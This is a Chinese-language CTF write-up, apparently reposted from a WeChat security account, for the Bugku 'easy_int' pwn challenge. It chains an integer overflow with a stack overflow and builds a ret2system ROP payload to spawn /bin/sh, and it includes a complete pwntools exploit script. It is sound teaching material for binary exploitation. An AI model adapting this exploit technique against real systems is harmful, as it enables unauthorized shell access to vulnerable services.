本文由wkeyi0x1原创
一般的栈溢出类型的题都是有system函数并且执行的命令是/bin/sh,我们只需要将溢出的字节数控制到返回地址并把返回地址替换成system函数的地址即可执行/bin/sh来获取一个shell
本文字数:1554字
图片数量:36张
阅读时间:4分钟
准备工具:IDA Pro、Python3、ROPgadget
0x01 预备工作
首先file一下,看到是 ELF 64位程序
然后再checksec一下,可以看到没有开启保护,看着样子是没有保护
0x02 运行程序
· 默认int类型数据最大值是2147483647,如果超出这个值的话就会变成负数
运行程序后是让我们输入int类型的参数,而且题目是easy_int,可以猜想是整数溢出,同时也可以使程序内部条件成立然后执行vuln函数
main函数
vuln函数,发现最后调用了system函数
输入比最大值大的数后发现成功转跳到下一步
0x03 IDA查看_system函数地址
_system函数地址0x00401090(图中红框标记错了,应是上面那个函数)
0x04 修改system函数的参数
进入vuln函数我们可以看到system函数的参数为"ok!"执行的命令并不是/bin/sh
然后在IDA中Shift+F12打开字符串窗口可以看到有"/bin/sh"字符串,地址为0x00403500
查看溢出长度
接下来就是常规ROP,在read函数执行的时候溢出覆盖返回地址,写入system函数的参数,也就是"/bin/sh"地址
0x05 编写POC
编写payload
payload = b'a' * 0x28 # 溢出大小
payload += p64(0x0040101a) # ret地址
payload += p64(0x00401343) # pop rdi地址
payload += p64(0x00403500) # /bin/sh字符串地址
payload += p64(0x00401090) # _system函数地址
POC
from pwn import *
context(os='linux', log_level='debug')
conent = 1 # 1是本地测试,2是目标机器测试
def main():
if int(conent) == 1:
q = process("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")
elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")
else:
q = remote("192.168.1.110", "55555")
elf = ELF("/home/wkeyi0x1/Desktop/pwn/linux/bugku_easy_int")
payload = b'a' * 0x28 # 溢出大小
payload += p64(0x0040101a) # ret地址
payload += p64(0x00401343) # pop rdi地址,在ubuntu18以上的版本,64位的程序若包含了system就需要考虑堆栈平衡。具体可以参考https://blog.csdn.net/qq_41560595/article/details/112161243
payload += p64(0x00403500) # /bin/sh字符串地址
payload += p64(0x00401090) # _system函数地址
q.recvuntil("")
q.sendline("2147483648")
q.recvuntil("")
q.sendline(payload)
q.recvuntil("")
q.interactive()
main()
关注公众号查看
更多精彩内容
兰泽安全小分队
欢迎关注!
原文始发于微信公众号(渗透云笔记):PWN之system函数参数非/bin/sh的情况
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论